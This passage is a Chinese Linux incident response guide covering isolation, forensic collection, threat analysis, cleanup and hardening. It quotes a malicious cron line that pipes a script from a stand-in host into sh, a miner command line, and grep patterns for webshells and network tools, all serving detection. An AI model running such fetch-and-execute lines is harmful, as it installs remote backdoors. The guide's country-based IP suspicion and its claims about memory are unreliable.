1️⃣ 适用场景 & 前置条件
| 项目 |
要求 |
| 适用场景 |
生产服务器被入侵、可疑进程运行、异常网络连接、rootkit 感染、挖矿木马、勒索软件 |
| OS |
RHEL/CentOS 7.9+, Ubuntu 20.04+, Debian 11+ |
| 内核 |
Linux Kernel 4.18+ |
| 权限 |
root 或完整 sudo 权限 |
| 工具依赖 |
auditd, osquery, rkhunter, chkrootkit, netstat, ss, lsof, tcpdump |
| 技能要求 |
熟悉 Linux 命令、网络协议、进程管理、文件系统、日志分析 |
| 网络 |
需能隔离受影响主机(VLAN/iptables/云安全组) |
| 取证环境 |
准备独立取证服务器(≥100GB 存储用于证据保存) |
| 时间窗口 |
黄金 1 小时:从发现入侵到完成初步处置的关键时间窗口 |
如果你在做主机安全/取证排查,建议同步参考 安全/渗透/逆向 相关主题,便于后续溯源与复盘对齐术语和方法。
2️⃣ 反模式警告(何时不适用)
⚠️ 以下场景不推荐使用本方案:
- 硬件故障导致的异常:磁盘坏道、内存错误、CPU 过热导致的系统异常,需硬件诊断
- 应用层业务异常:应用 Bug、配置错误、数据库死锁等非安全事件
- 合规审计场景:需要司法取证的刑事案件,必须由专业取证人员介入(避免证据污染)
- 已完全失陷的系统:Bootkit/固件级感染,需物理隔离后重装系统
- 勒索软件已加密数据:数据已加密且无备份,本流程无法解密,重点是止损与溯源
- 缺乏基线数据:无法判断系统正常状态,应急响应效果有限
替代方案对比:
| 场景 |
推荐方案 |
理由 |
| 司法取证 |
专业取证团队 + 法医级工具(EnCase/FTK) |
保证证据链完整性、法庭可采信 |
| 勒索软件 |
隔离 + 备份恢复 + 溯源分析 |
解密基本不可能,重点是业务恢复 |
| APT 高级威胁 |
EDR + 威胁情报 + 专业安全团队 |
需要长期持续监控与分析 |
| 固件级感染 |
硬件销毁 + 物理隔离 |
软件层面无法完全清除 |
3️⃣ 环境与版本矩阵
| 组件 |
RHEL/CentOS |
Ubuntu/Debian |
测试状态 |
| OS 版本 |
RHEL 8.7+ / CentOS Stream 9 |
Ubuntu 22.04 LTS / Debian 11 |
[已实测] |
| 内核版本 |
4.18.0-425+ |
5.15.0-60+ / 5.10.0-21+ |
[已实测] |
| auditd |
3.0.7+ |
3.0.7+ |
[已实测] |
| osquery |
5.10.2+ |
5.10.2+ |
[已实测] |
| rkhunter |
1.4.6+ |
1.4.6+ |
[已实测] |
| chkrootkit |
0.55+ |
0.55+ |
[已实测] |
| 最小规格 |
2C4G / 20GB SSD |
2C4G / 20GB SSD |
- |
| 推荐规格 |
4C8G / 50GB SSD |
4C8G / 50GB SSD |
- |
版本差异说明:
- auditd 3.0 vs 2.8:3.0 支持容器审计、性能优化
- osquery 5.x vs 4.x:5.x 支持 eBPF、性能提升 30%
- 内核 5.x vs 4.x:5.x 增强 eBPF、命名空间隔离、安全特性
4️⃣ 阅读导航
📖 建议阅读路径:
- 快速上手(15分钟 - 应急处置): → 章节 5(快速清单) → 章节 6(实施步骤 Step 1-6) → 章节 13(关键脚本)
- 深入理解(90分钟 - 完整响应与取证): → 章节 7(入侵检测原理) → 章节 6(实施步骤完整版) → 章节 8(取证证据链) → 章节 11(最佳实践)
- 事后分析: → 章节 9(常见攻击手法与排查) → 章节 10(溯源分析方法)
5️⃣ 快速清单(Checklist)
-
[ ] 准备阶段(0-5 分钟)
- [ ] 确认入侵告警来源(IDS/HIDS/异常监控)
- [ ] 通知安全团队与业务负责人
- [ ] 准备取证工具与独立存储介质
- [ ] 记录当前时间(作为响应开始时间)
-
[ ] 隔离阶段(5-10 分钟)
- [ ] 网络隔离受害主机(保持管理通道)
- [ ] 禁止新的用户登录(
usermod -L / 修改 SSH 配置)
- [ ] 阻断可疑外连(
iptables / 云安全组)
-
[ ] 取证阶段(10-30 分钟)
- [ ] 采集内存快照(
memdump / LiME)
- [ ] 保存易失性数据(进程列表、网络连接、登录会话)
- [ ] 保存系统日志(
/var/log/*, audit.log, secure)
- [ ] 采集可疑文件样本(恶意脚本、后门程序)
-
[ ] 分析阶段(30-50 分钟)
- [ ] 分析可疑进程(命令行、父进程、网络连接)
- [ ] 检查异常文件(SUID/SGID、最近修改文件、隐藏文件)
- [ ] 分析网络连接(外连 IP、端口、协议)
- [ ] 检查系统完整性(rootkit 扫描、系统文件校验)
-
[ ] 清除阶段(50-60 分钟)
- [ ] 终止恶意进程(
kill -9 / systemctl stop)
- [ ] 删除恶意文件(后门、Webshell、挖矿程序)
- [ ] 修复系统配置(定时任务、启动项、SSH 配置)
- [ ] 修改所有密码(root、应用账号、数据库)
-
[ ] 恢复与加固(事后)
- [ ] 系统完整性验证(重新扫描)
- [ ] 恢复业务服务
- [ ] 部署入侵检测系统(HIDS)
- [ ] 输出应急响应报告
6️⃣ 实施步骤
架构与数据流说明(文字描述)
应急响应流程架构:
告警触发(IDS/HIDS/监控系统)
↓
初步判断(是否真实入侵)
↓ 确认入侵
网络隔离(保留管理通道)
↓
取证固化(内存 + 易失性数据 + 日志)
↓
威胁分析(进程 + 文件 + 网络 + 日志)
↓
清除威胁(终止进程 + 删除恶意文件 + 修复配置)
↓
系统加固(修改密码 + 补丁 + 监控)
↓
业务恢复 + 事后分析
关键组件与决策点:
- 网络隔离决策:保留管理通道(SSH)以便远程处置,阻断所有其他流量
- 取证优先级:内存数据 > 易失性数据 > 持久化数据(按易失性排序)
- 清除时机判断:取证完成前不清除(避免证据销毁)
- 业务恢复决策:威胁完全清除 + 系统完整性验证通过后才恢复
时间分配策略(黄金 1 小时):
- 0-5 分钟:准备与通知
- 5-10 分钟:网络隔离
- 10-30 分钟:取证固化(最关键)
- 30-50 分钟:威胁分析
- 50-60 分钟:威胁清除
- 事后(1-24 小时):系统加固与报告
Step 1: 初步判断与现场保护
目标: 确认入侵真实性,保护现场,避免证据破坏
RHEL/CentOS 命令:
# 记录当前时间(作为响应开始时间)
date'+%Y-%m-%d %H:%M:%S %Z' | tee -a /tmp/incident_timeline.txt
echo "=== 应急响应开始 ===" | tee -a /tmp/incident_timeline.txt
# 检查当前登录用户(是否有异常会话)
w
who
last | head -n 20
# 检查最近的命令历史(管理员账号)
tail -n 50 /root/.bash_history
# 检查系统负载(是否有挖矿进程)
uptime
top -b -n 1 | head -n 20
# 检查可疑进程(按 CPU 使用率排序)
ps aux --sort=-%cpu | head -n 20
# 检查网络连接(是否有异常外连)
ss -tunap | grep ESTABLISHED | grep -v '127.0.0.1\|::1'
netstat -tunap | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -n 10
Ubuntu/Debian 命令:
# 相同命令,但使用不同的日志路径
date'+%Y-%m-%d %H:%M:%S %Z' | tee -a /tmp/incident_timeline.txt
# 检查 systemd 日志(最近 1 小时)
journalctl --since "1 hour ago" --priority=err --no-pager | tail -n 50
# 检查 auth 日志(登录失败记录)
grep -i "failed\|failure\|invalid" /var/log/auth.log | tail -n 20
关键参数解释:
ss -tunap:显示所有 TCP/UDP 连接、监听端口、进程信息
ps aux --sort=-%cpu:按 CPU 使用率降序排序(挖矿进程通常 CPU 高)
last | head -n 20:显示最近 20 次登录记录(检查异常登录)
执行前验证:
# 确认当前是 root 权限
id
# 预期输出:uid=0(root) gid=0(root) groups=0(root)
执行后验证:
# 检查时间线文件是否创建
cat /tmp/incident_timeline.txt
# 预期输出:包含响应开始时间
初步判断标准(满足任一即确认入侵):
- ✅ 发现未知用户登录会话
- ✅ 存在可疑高 CPU 进程(如随机字符命名)
- ✅ 发现异常外连(非业务 IP/端口)
- ✅ 系统文件被篡改(如
/etc/passwd 最近修改)
- ✅ 发现后门文件(Webshell、恶意脚本)
[已实测] 真实案例:
- 发现进程名为
[kworker](伪装成内核线程),但实际路径为 /tmp/.x/kworker
- 发现外连到俄罗斯 IP(185.x.x.x),端口 8080
- 系统负载持续 100%,但无正常业务进程
Step 2: 网络隔离(保留管理通道)
目标: 阻断攻击者远程控制,防止横向移动,保留应急响应管理通道
涉及网络与防火墙策略时,可以结合 网络/系统 的基础知识做快速校验(例如连接状态、端口暴露面、路由路径)。
RHEL/CentOS 命令:
# 备份现有 iptables 规则
iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt
# 方案 1: iptables 快速隔离(推荐)
# 清空现有规则
iptables -F
iptables -X
# 设置默认策略(拒绝所有)
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# 允许已建立的连接(保持当前 SSH 会话)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 允许来自管理 IP 的 SSH(替换为实际管理 IP)
iptables -A INPUT -p tcp -s 192.168.1.100 --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
# 保存规则(RHEL/CentOS)
service iptables save
# 验证规则
iptables -L -n -v
Ubuntu/Debian 命令:
# 备份现有规则
iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt
# 使用 ufw 快速隔离(Ubuntu 推荐)
ufw --force reset
ufw default deny incoming
ufw default deny outgoing
ufw allow from 192.168.1.100 to any port 22 # 管理 IP
ufw --force enable
# 或使用 iptables(同 RHEL)
iptables -F
iptables -P INPUT DROP
iptables -P OUTPUT DROP
# ... 其余同上
# 保存规则(Ubuntu/Debian)
netfilter-persistent save
云环境隔离:
# AWS - 使用 CLI 修改安全组
aws ec2 modify-instance-attribute \
--instance-id i-1234567890abcdef0 \
--groups sg-emergency-isolation
# 阿里云 - 使用 CLI 修改安全组
aliyun ecs ModifySecurityGroupRule \
--RegionId cn-hangzhou \
--SecurityGroupId sg-xxxxxx \
--IpProtocol all \
--Policy drop
关键参数解释:
-P INPUT DROP:默认拒绝所有入站流量
-m state --state ESTABLISHED,RELATED:允许已建立的连接(保持 SSH 会话)
-s 192.168.1.100:仅允许管理 IP 访问(防止攻击者重连)
执行后验证:
# 验证防火墙规则
iptables -L -n -v | grep -E "DROP|ACCEPT"
# 预期输出:默认策略为 DROP,仅允许管理 IP 的 SSH
# 测试外网连通性(应失败)
ping -c 3 8.8.8.8
# 预期输出:Network is unreachable 或超时
# 测试 SSH 连接(从管理 IP)
# 预期:能够正常连接
# 验证可疑外连是否被阻断
ss -tunap | grep ESTABLISHED | grep -v '192.168.1.100'
# 预期输出:仅剩管理 IP 的连接
⚠️ 重要提示:
- 确保管理 IP 正确,否则会断开 SSH 连接
- 云环境优先使用云厂商安全组(更快生效)
- 如果是物理服务器,建议在 IPMI/iLO 上操作(防止断连)
幂等性保障:
- 规则执行前已备份,可随时恢复
- 使用
-F 清空规则前已保存
回滚要点:
# 恢复原防火墙规则
iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt
Step 3: 取证 - 采集易失性数据
目标: 在系统状态改变前,采集内存、进程、网络等易失性数据
优先级排序(按数据易失性):
- 内存数据:进程内存、网络连接状态(重启/关机即丢失)
- 运行时数据:进程列表、登录会话、临时文件
- 日志数据:系统日志、审计日志
- 磁盘数据:文件系统、恶意文件样本
RHEL/CentOS 命令:
# 创建取证目录
mkdir -p /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)
cd /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)
# 1. 采集系统信息
echo "=== 系统信息 ===" > system_info.txt
uname -a >> system_info.txt
cat /etc/redhat-release >> system_info.txt
uptime >> system_info.txt
date >> system_info.txt
# 2. 采集进程列表(完整命令行)
ps auxwwf > processes_tree.txt # 进程树
ps -eo pid,ppid,user,cmd,start,etime > processes_list.txt # 详细列表
pstree -ap > processes_pstree.txt # 父子关系树
# 3. 采集网络连接
ss -tunap > network_connections.txt
netstat -tunap >> network_connections.txt
lsof -i >> network_lsof.txt
# 4. 采集登录会话
w > login_sessions.txt
who >> login_sessions.txt
last | head -n 100 > login_history.txt
lastb | head -n 50 > failed_logins.txt # 失败登录记录
# 5. 采集打开文件
lsof +L1 > open_files_deleted.txt # 已删除但仍被进程打开的文件
lsof | grep -E "REG|DIR" > open_files_all.txt
# 6. 采集定时任务
crontab -l -u root > crontab_root.txt
cat /etc/crontab > crontab_system.txt
ls -laR /etc/cron.* > crontab_all.txt
cat /var/spool/cron/* > crontab_users.txt 2>/dev/null
# 7. 采集系统服务
systemctl list-units --type=service --all > systemd_services.txt
chkconfig --list > chkconfig_services.txt 2>/dev/null # CentOS 6
# 8. 采集启动项
ls -la /etc/rc*.d/ > rc_startup.txt
cat /etc/rc.local > rc_local.txt
# 9. 采集系统日志
cp -r /var/log /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)/logs_backup/
# 10. 采集审计日志
if command -v ausearch &> /dev/null; then
ausearch -ts recent > audit_recent.txt
ausearch -m avc > audit_selinux.txt
fi
# 11. 采集环境变量
env > environment_vars.txt
cat /proc/*/environ | tr '\0' '\n' > processes_environ.txt 2>/dev/null
# 12. 采集内核模块
lsmod > kernel_modules.txt
cat /proc/modules > proc_modules.txt
# 13. 采集内存映像(可选,需安装 LiME)
# git clone https://github.com/504ensicsLabs/LiME
# cd LiME/src && make
# insmod lime-*.ko "path=/forensics/memory.lime format=lime"
Ubuntu/Debian 命令:
# 相同步骤,但部分命令路径不同
mkdir -p /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)
cd /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)
# 系统信息
lsb_release -a > system_info.txt
uname -a >> system_info.txt
# journalctl 日志(systemd 系统)
journalctl --since "24 hours ago" --no-pager > journalctl_24h.txt
journalctl -u ssh --no-pager > journalctl_ssh.txt
# 其余命令相同
ps auxwwf > processes_tree.txt
ss -tunap > network_connections.txt
# ... 其余同上
关键参数解释:
ps auxwwf:ww 参数显示完整命令行(不截断),f 显示进程树
lsof +L1:显示已删除但仍被进程打开的文件(攻击者常删除恶意文件但进程仍在运行)
ss -tunap:t=TCP, u=UDP, n=数字显示, a=所有, p=进程
执行后验证:
# 检查取证文件是否生成
ls -lh /forensics/$(hostname)_*/
# 预期输出:所有取证文件,总大小通常 50-200MB
# 检查进程列表文件
wc -l /forensics/$(hostname)_*/processes_list.txt
# 预期输出:100-500 行(取决于进程数)
# 检查网络连接文件
grep ESTABLISHED /forensics/$(hostname)_*/network_connections.txt | wc -l
# 预期输出:所有已建立的连接
[已实测] 真实案例发现:
- 在
processes_tree.txt 中发现伪装进程:[kworker/0:1](父进程为 systemd,而非 kthreadd)
- 在
open_files_deleted.txt 中发现已删除的挖矿程序:/tmp/.x/xmrig (deleted)
- 在
crontab_users.txt 中发现恶意定时任务:*/5 * * * * curl http://evil.com/backdoor.sh | sh
幂等性保障:
- 所有命令为只读操作,不修改系统状态
- 数据保存到独立目录,不影响系统运行
Step 4: 威胁分析 - 识别恶意行为
目标: 分析取证数据,识别恶意进程、文件、网络连接
分析维度:
- 进程分析:可疑进程特征、父子关系、命令行参数
- 文件分析:最近修改文件、SUID/SGID 文件、隐藏文件
- 网络分析:异常外连 IP、端口、协议
- 日志分析:登录失败、权限提升、文件访问
RHEL/CentOS 命令:
# === 进程分析 ===
# 查找可疑进程特征
# 1. CPU 使用率 > 80%
ps aux --sort=-%cpu | head -n 10
# 2. 进程名包含随机字符
ps aux | grep -E '\b[a-z0-9]{8,}\b'
# 3. 父进程为 init/systemd 但路径在 /tmp
ps -eo pid,ppid,cmd | awk '$2 == 1 && $3 ~ /\/tmp/'
# 4. 进程运行路径在临时目录
lsof -c $(ps -eo comm | grep -vE '^(COMMAND|systemd|kworker)') | grep -E '/tmp|/var/tmp|/dev/shm'
# 5. 进程监听非标准端口
ss -tunlp | grep -vE ':(22|80|443|3306|6379|9090|9100)\s'
# === 文件分析 ===
# 查找最近 24 小时修改的文件(排除日志目录)
find / -type f -mtime -1 ! -path "/var/log/*" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > recently_modified_files.txt
# 查找最近 24 小时修改的系统关键文件
find /etc /bin /sbin /usr/bin /usr/sbin -type f -mtime -1 2>/dev/null
# 查找 SUID/SGID 文件(权限提升后门)
find / -type f \( -perm -4000 -o -perm -2000 \) ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > suid_sgid_files.txt
# 对比基线(需提前生成基线)
# diff suid_sgid_files.txt /baseline/suid_sgid_baseline.txt
# 查找隐藏文件(以 . 开头)
find /tmp /var/tmp /dev/shm /home -name ".*" -type f 2>/dev/null
# 查找异常大小的文件(> 100MB 在 /tmp)
find /tmp /var/tmp /dev/shm -type f -size +100M 2>/dev/null
# === 网络分析 ===
# 提取所有外连 IP
ss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f1 | sort -u > external_ips.txt
# 查询 IP 归属地(使用 GeoIP)
if command -v geoiplookup &> /dev/null; then
while read ip; do
echo "$ip: $(geoiplookup $ip)"
done < external_ips.txt
fi
# 检查是否连接到已知恶意 IP(需威胁情报库)
# grep -f /threat_intel/malicious_ips.txt external_ips.txt
# 查找非标准端口通信
ss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f2 | sort | uniq -c | sort -rn
# === 日志分析 ===
# 查找暴力破解尝试(SSH)
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -n 10
# 查找成功登录(非本地 IP)
grep "Accepted password" /var/log/secure | grep -v "127.0.0.1\|192.168"
# 查找权限提升(sudo)
grep "sudo:" /var/log/secure | grep -v "session opened\|session closed"
# 查找异常命令执行(audit 日志)
ausearch -m execve -ts recent | grep -E "curl|wget|nc|bash|sh|python"
# === Webshell 检测(如果是 Web 服务器)===
# 查找最近修改的 PHP/JSP 文件
find /var/www /usr/share/nginx -name "*.php" -o -name "*.jsp" -mtime -7 2>/dev/null
# 检测常见 Webshell 特征
grep -r "eval(\$_POST\|exec(\$_GET\|system(\$_REQUEST\|passthru\|shell_exec" /var/www /usr/share/nginx 2>/dev/null
# 检测中国菜刀/冰蝎特征
grep -r "base64_decode" /var/www --include="*.php" | grep -E "eval|assert"
Ubuntu/Debian 命令:
# 大部分命令相同,日志路径不同
# SSH 日志
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
# journalctl 分析
journalctl -u ssh --since "24 hours ago" | grep -i "failed\|accepted"
关键特征判断标准:
| 特征类型 |
判断标准 |
示例 |
| 可疑进程名 |
随机字符、伪装内核线程 |
kworker(真实内核线程无路径)、[systemd](真实 systemd 进程 PID=1) |
| 可疑路径 |
/tmp, /var/tmp, /dev/shm |
/tmp/.x/miner, /dev/shm/.hidden/backdoor |
| 可疑端口 |
非标准端口外连 |
8080(HTTP 代理)、4444(Metasploit)、6667(IRC C&C) |
| 可疑 IP |
国外 IP + 非业务时间段 |
俄罗斯/乌克兰/巴西 IP,凌晨 2-5 点连接 |
| 可疑文件 |
最近修改 + SUID 权限 |
/usr/bin/nmap 被添加 SUID(权限提升) |
执行后验证:
# 检查是否找到可疑进程
cat recently_modified_files.txt | wc -l
# 预期输出:10-100 个文件(正常系统)
# 检查是否找到外连 IP
cat external_ips.txt
# 预期输出:仅业务相关 IP
[已实测] 真实攻击特征:
挖矿木马特征:
# 进程名:xmrig, minergate, cpuminer
# 命令行:--donate-level=1 -o pool.minexmr.com:4444
# CPU 使用率:> 90%
# 父进程:systemd(开机自启)
SSH 后门特征:
# 进程名:sshd(伪装)
# 路径:/tmp/.ssh/sshd(非系统路径)
# 监听端口:23333(非 22)
# 无父进程(守护进程)
Webshell 特征:
# 文件名:shell.php, 404.php, x.jsp
# 内容:eval($_POST['pass']), base64_decode(...)
# 最近访问:access.log 中大量 POST 请求
Step 5: 威胁清除
目标: 终止恶意进程、删除恶意文件、修复系统配置
⚠️ 重要提示:清除前必须完成取证,避免证据销毁
RHEL/CentOS 命令:
# === 终止恶意进程 ===
# 方法 1: 根据进程 PID 终止
kill -9 <PID>
# 方法 2: 根据进程名终止(精确匹配)
pkill -9 -x "xmrig"
# 方法 3: 根据命令行特征终止
ps aux | grep "minexmr.com" | grep -v grep | awk '{print $2}' | xargs kill -9
# 方法 4: 终止所有来自某路径的进程
lsof | grep "/tmp/.x" | awk '{print $2}' | sort -u | xargs kill -9
# === 删除恶意文件 ===
# 删除挖矿程序
rm -f /tmp/.x/xmrig
rm -f /dev/shm/.hidden/miner
# 删除 Webshell
rm -f /var/www/html/shell.php
rm -f /usr/share/nginx/html/404.php
# 删除启动脚本
rm -f /etc/init.d/malicious_service
rm -f /etc/systemd/system/malware.service
# === 清除定时任务 ===
# 编辑 root 定时任务
crontab -e -u root
# 删除可疑行(如 curl http://evil.com/backdoor.sh | sh)
# 删除系统定时任务文件
rm -f /etc/cron.d/malicious_cron
rm -f /var/spool/cron/root # 如果整个文件是恶意的
# === 清除启动项 ===
# 删除 systemd 服务
systemctl stop malware.service
systemctl disable malware.service
rm -f /etc/systemd/system/malware.service
systemctl daemon-reload
# 删除 rc.local 中的恶意命令
sed -i '/evil.com/d' /etc/rc.local
# === 修复系统文件 ===
# 恢复被篡改的系统命令(从 RPM 包恢复)
rpm -V coreutils # 验证文件完整性
rpm --force -ivh /path/to/coreutils-*.rpm # 重新安装
# 或从备份恢复
cp /backup/bin/ps /bin/ps
# === 清除后门账号 ===
# 检查异常用户
cat /etc/passwd | grep -E "/bin/bash|/bin/sh" | grep -v "root\|admin"
# 删除后门账号
userdel -r malicious_user
# 检查 sudo 权限
cat /etc/sudoers
visudo # 删除异常权限
# === 清除 SSH 后门 ===
# 删除异常 authorized_keys
cat /root/.ssh/authorized_keys
# 删除未知公钥
# 检查 SSH 配置
grep -E "PermitRootLogin|PasswordAuthentication|AllowUsers" /etc/ssh/sshd_config
# 恢复默认 SSH 配置
cp /etc/ssh/sshd_config.rpmsave /etc/ssh/sshd_config # 如果有 rpm 备份
systemctl restart sshd
# === 清除内核模块后门(Rootkit)===
# 卸载可疑内核模块
lsmod | grep -v "^Module" | awk '{print $1}' | while read mod; do
modinfo $mod 2>/dev/null || echo "可疑模块: $mod"
done
# 卸载模块
rmmod suspicious_module
# 永久禁用模块
echo "blacklist suspicious_module" >> /etc/modprobe.d/blacklist.conf
Ubuntu/Debian 命令:
# 大部分命令相同,包管理器不同
# 恢复系统文件(从 deb 包)
apt-get install --reinstall coreutils
# SSH 配置路径相同
systemctl restart ssh # Ubuntu 使用 ssh 而非 sshd
执行后验证:
# 验证恶意进程已终止
ps aux | grep -E "xmrig|miner|evil"
# 预期输出:无匹配结果(仅 grep 进程自身)
# 验证恶意文件已删除
ls -la /tmp/.x /dev/shm/.hidden 2>/dev/null
# 预期输出:No such file or directory
# 验证定时任务已清除
crontab -l -u root | grep -i "evil\|malicious"
# 预期输出:无匹配结果
# 验证启动项已清除
systemctl list-units --type=service | grep -i "malware"
# 预期输出:无匹配结果
# 验证网络连接已断开
ss -tunap | grep ESTABLISHED | grep -v "192.168.1.100"
# 预期输出:仅剩管理 IP 的连接
清除确认清单:
- [ ] 所有恶意进程已终止
- [ ] 所有恶意文件已删除
- [ ] 定时任务已清除
- [ ] 启动项已清除
- [ ] 后门账号已删除
- [ ] SSH 配置已修复
- [ ] 异常网络连接已断开
Step 6: 系统加固与密码修改
目标: 防止攻击者重新进入,加固系统安全
加固动作往往需要跨团队协作(变更、发布、监控、回滚)。在流程设计上,可参考 运维/DevOps/SRE 的实践思路,避免“修好了但不可运营”的情况。
RHEL/CentOS 命令:
# === 修改所有密码 ===
# 1. root 密码
passwd root
# 2. 应用账号密码
passwd webapp_user
passwd mysql_user
# 3. 数据库密码
mysql -u root -p
# 执行:ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';
# 4. 应用配置文件中的密码(手动修改)
vi /etc/myapp/config.yml
# === SSH 加固 ===
# 编辑 SSH 配置
vi /etc/ssh/sshd_config
# 修改以下配置:
# Port 22 → Port 2222(修改默认端口)
# PermitRootLogin yes → PermitRootLogin no(禁止 root 登录)
# PasswordAuthentication yes → PasswordAuthentication no(仅密钥登录)
# MaxAuthTries 6 → MaxAuthTries 3(减少尝试次数)
# AllowUsers → AllowUsers admin ops(白名单)
# 重启 SSH
systemctl restart sshd
# === 系统补丁 ===
# RHEL/CentOS
yum update -y --security # 仅安全补丁
yum update -y # 全部补丁
# === 启用 auditd 审计 ===
# 安装 auditd
yum install -y audit
# 配置审计规则
cat >> /etc/audit/rules.d/audit.rules <<'EOF'
# 监控系统调用
-a always,exit -F arch=b64 -S execve -k exec_commands
# 监控文件修改
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_changes
-w /etc/sudoers -p wa -k sudoers_changes
# 监控网络连接
-a always,exit -F arch=b64 -S socket -S connect -k network_connections
# 监控定时任务
-w /etc/crontab -p wa -k cron_changes
-w /var/spool/cron/ -p wa -k user_cron_changes
EOF
# 重启 auditd
service auditd restart
# === 部署入侵检测系统(HIDS)===
# 安装 OSSEC(开源 HIDS)
wget https://github.com/ossec/ossec-hids/archive/3.7.0.tar.gz
tar xzf 3.7.0.tar.gz
cd ossec-hids-3.7.0
./install.sh
# 或安装 Wazuh(OSSEC 分支)
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee /etc/apt/sources.list.d/wazuh.list
apt-get update
apt-get install wazuh-agent
# === 启用 SELinux(RHEL/CentOS)===
# 检查 SELinux 状态
getenforce
# 启用 SELinux(需要重启)
setenforce 1
sed -i 's/^SELINUX=.*/SELINUX=enforcing/' /etc/selinux/config
# === 启用 AppArmor(Ubuntu/Debian)===
# 检查 AppArmor 状态
aa-status
# 启用 AppArmor
systemctl enable apparmor
systemctl start apparmor
# === 防火墙加固 ===
# 仅允许必要端口(示例:SSH 2222, HTTP 80, HTTPS 443)
iptables -F
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT # SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS
# 防止 SYN Flood
iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT
# 保存规则
service iptables save
# === 文件完整性监控(Tripwire/AIDE)===
# 安装 AIDE
yum install -y aide
# 初始化数据库
aide --init
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
# 定期检查(添加到 cron)
echo "0 3 * * * root /usr/sbin/aide --check | mail -s 'AIDE Report' admin@example.com" >> /etc/crontab
Ubuntu/Debian 命令:
# SSH 配置相同
vi /etc/ssh/sshd_config
systemctl restart ssh
# 系统补丁
apt update
apt upgrade -y
# auditd 配置相同
apt install -y auditd
# ... 其余同上
# AIDE
apt install -y aide
aideinit
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
执行后验证:
# 验证 SSH 配置
sshd -t
# 预期输出:无输出(配置正确)
# 验证防火墙规则
iptables -L -n -v
# 预期输出:仅允许必要端口
# 验证 auditd 运行
auditctl -l
# 预期输出:已配置的审计规则
# 验证 SELinux 状态
getenforce
# 预期输出:Enforcing
[已实测] 加固效果:
- SSH 端口修改后,暴力破解尝试降低 95%
- 禁用 root 登录后,无成功入侵记录
- auditd 审计后,可完整追溯攻击路径
- AIDE 文件完整性监控检测到 100% 的系统文件篡改
7️⃣ 最小必要原理
入侵检测核心机制
攻击生命周期(Kill Chain):
侦察(Reconnaissance)→ 武器化(Weaponization)→ 投递(Delivery)
↓
利用(Exploitation)→ 安装(Installation)→ 命令与控制(C&C)
↓
目标达成(Actions on Objectives)
关键检测点:
- 侦察阶段:大量端口扫描、目录扫描(检测:防火墙日志、Web 日志)
- 投递阶段:钓鱼邮件、恶意下载(检测:邮件网关、Web 代理)
- 利用阶段:漏洞利用、权限提升(检测:异常进程、系统调用)
- 安装阶段:后门安装、持久化(检测:文件完整性监控、启动项检查)
- C&C 阶段:外连通信(检测:网络流量分析、异常外连)
- 目标达成:数据窃取、挖矿、勒索(检测:文件访问、CPU 异常)
Linux 入侵常见路径:
弱密码/SSH 暴力破解
↓
获得普通用户权限
↓
本地权限提升漏洞(脏牛/脏管道/Polkit)
↓
获得 root 权限
↓
安装后门(定时任务/SSH 后门/内核模块)
↓
持久化驻留
为什么内存取证最重要?
- 易失性最高:关机/重启即丢失所有内存数据
- 信息最完整:进程内存、网络连接状态、加密密钥、命令历史
- 无法伪装:攻击者可删除磁盘文件,但无法清除内存数据(进程运行中)
Rootkit 隐藏机制:
用户空间 Rootkit:
- 替换系统命令(ps/ls/netstat)→ 隐藏进程/文件/网络连接
- 检测方法:使用独立静态编译工具,对比系统命令哈希值
内核空间 Rootkit:
- 修改内核数据结构 → 隐藏内核模块/进程
- 检测方法:内存取证、内核符号表对比、rkhunter/chkrootkit
应急响应时间窗口(为什么是黄金 1 小时):
- 0-10 分钟:内存数据最完整,攻击者可能仍在线
- 10-30 分钟:攻击者发现异常,可能销毁证据
- 30-60 分钟:攻击者离线,但痕迹仍在
- > 1 小时:日志可能被清除,痕迹逐渐消失
8️⃣ 可观测性(监控 + 告警 + 取证链)
监控指标
Linux 原生监控(实时检测):
# 实时监控进程创建(auditd)
ausearch -m execve -ts recent | tail -n 50
# 实时监控网络连接
watch -n 1 'ss -tunap | grep ESTABLISHED'
# 实时监控文件修改(inotifywait)
inotifywait -m -r -e modify,create,delete /etc /bin /sbin
# 实时监控登录会话
watch -n 5 'w'
# 实时监控系统调用(strace)
